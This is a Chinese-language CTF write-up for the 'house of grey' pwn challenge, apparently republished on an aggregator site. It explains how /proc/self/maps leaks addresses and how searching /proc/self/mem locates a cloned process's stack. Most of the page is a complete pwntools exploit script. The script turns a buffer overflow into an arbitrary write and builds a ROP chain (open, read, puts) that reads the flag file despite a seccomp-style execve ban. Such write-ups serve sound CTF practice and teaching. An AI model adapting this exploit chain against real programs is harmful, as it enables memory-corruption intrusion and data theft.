house of grey

Posted Nullan

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了house of grey相关的知识,希望对你有一定的参考价值。

linux采用的文件系统是/proc文件系统,在运行时可以更改内核的数据结构和设置参数等
/proc/self/maps可以得到当前进程的内存映射关系,通过读该文件的内容可以得到内存代码段基址。
/proc/self/mem是进程的内存内容,通过修改该文件相当于直接修改当前进程的内存。但是不可读
所以可以结合map的信息确定读的偏移值,只有读取的偏移值是被映射的区域才能正确读取内存内容。
写入mem文件来直接写入内存,可以直接修改代码段,放入我们的shellcode,从而在程序流程执行到这一步时执行shellcode来拿shell。

ida分析一下这题

程序有一个缓冲区溢出

但是读文件不能读flag文件

可以用功能4修改V8实现任意地址写

而这个体execve系统调用被禁用了,我们可以构造ROP,把flag文件读取到内存中,再输出来
因为fn函数有一个exit(0)所以覆盖fn的返回地址是不行的,但我们可以覆盖fn中case4的read地址
但是程序是clone出来的

程序用mmap映射出一个内存,然后通过其中一段随机栈地址给clone,但是我们可以通过读取/proc/self/mem文件,来搜索标记,已确定程序的栈地址。
而标记就是”/proc/self/maps”字符串,因为buf里保存了这个字符串,当我们在内存中搜索到这个字符串时,当前位置就是buf的栈地址

#coding:utf8  
from pwn import *  
  
sh = process('./pwnh35')  
#sh = remote('111.198.29.45',37518)  
elf = ELF('./pwnh35')  
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')  
open_s_plt = elf.plt['open']  
read_s_plt = elf.plt['read']  
puts_s_plt = elf.plt['puts']  
#pop rdi  
#pop r15  
#retn  
pop_s_rsi = 0x1821  
#pop rdi  
#retn  
pop_s_rdi = 0x1823  
  
def enterRoom():  
   sh.sendlineafter('Do you want to help me build my room? Y/n?\\n','Y')  
  
def setPath(content):  
   sh.sendlineafter('5.Exit\\n','1')  
   sh.sendlineafter('So man, what are you finding?\\n',content)  
  
def seekTo(pos):  
   sh.sendlineafter('5.Exit\\n','2')  
   sh.sendlineafter('So, Where are you?\\n',str(pos))  
  
def readSomething(length):  
   sh.sendlineafter('5.Exit\\n','3')  
   sh.sendlineafter('How many things do you want to get?\\n',str(length))  
  
def giveSomething(content):  
   sh.sendlineafter('5.Exit\\n','4')  
   sh.sendlineafter('content:',content)  
  
enterRoom()  
setPath('/proc/self/maps')  
readSomething(2000)  
sh.recvuntil('You get something:\\n')  
#解析程序的加载地址,以及mmap内存出的地址  
elf_base = int(sh.recvuntil('-').split('-')[0],16)  
pop_rdi = elf_base + pop_s_rdi  
pop_rsi = elf_base + pop_s_rsi  
open_addr = elf_base + open_s_plt  
read_addr = elf_base + read_s_plt  
puts_addr = elf_base + puts_s_plt  
  
while True:  
   line = sh.recvline()  
   if 'heap' in line:  
      #接下来这一行就是mmap出的内存的信息  
      line = sh.recvline()  
      mmap_start = int(line.split('-')[0],16)  
      mmap_end = int(line.split('-')[1].split(' ')[0],16)  
      break  
  
#现在解析出clone的那个程序的stack地址  
stack_end = mmap_end  
stack_start = mmap_start  
  
#范围偏差  
offset = 0xf800000  
#区间范围begin_off~stack_end里搜索  
begin_off = stack_end - offset - 24 * 100000  
setPath('/proc/self/mem')  
seekTo(begin_off)  
print 'begin->',hex(begin_off),'to',hex(stack_end)  
#在内存的范围内搜索,如果找到了/proc/self/mem这个字符串,说明当前地址就是buf的栈地址  
for i in range(0,24):  
   readSomething(100000)  
   content = sh.recvuntil('1.Find ')[:-7]  
   if '/proc/self/mem' in content:  
      print 'found!'  
      arr = content.split('/proc/self/mem')[0]  
      break  
if i == 23:  
   print '未能成功确定v8的地址,请重试!'  
   exit(0)  
  
#获得了v8的地址,可以将它里面的内容,实现任意地址写  
v8_addr = begin_off + i * 100000 + len(arr) + 5  
print 'v8 addr=',hex(v8_addr)  
read_ret = v8_addr - 0x50  
#覆盖v8指针内容为存放read返回地址的栈地址  
payload = '/proc/self/mem'.ljust(24,'\\x00') + p64(read_ret)  
setPath(payload)  
#接下来,我们可以写rop了(v8_addr-24+15处就是/home/ctf/flag字符串)  
rop = p64(pop_rdi) + p64(read_ret + 15 * 8) + p64(pop_rsi) + p64(0) + p64(0) + p64(open_addr)  
#我们打开的文件,描述符为6  
rop += p64(pop_rdi) + p64(6) + p64(pop_rsi) + p64(read_ret + 15 * 8) + p64(0) + p64(read_addr)  
rop += p64(pop_rdi) + p64(read_ret + 15 * 8) + p64(puts_addr)  
rop += '/home/ctf/flag\\x00'  
  
giveSomething(rop)  
  
sh.interactive()  

以上是关于house of grey的主要内容,如果未能解决你的问题,请参考以下文章

8.house_of_lore

errors of point grey camera on arm ubuntu14.04

溢出利用技巧house of spirit friendly stack overflow

House of XXX的核心原理

House of Force

House of force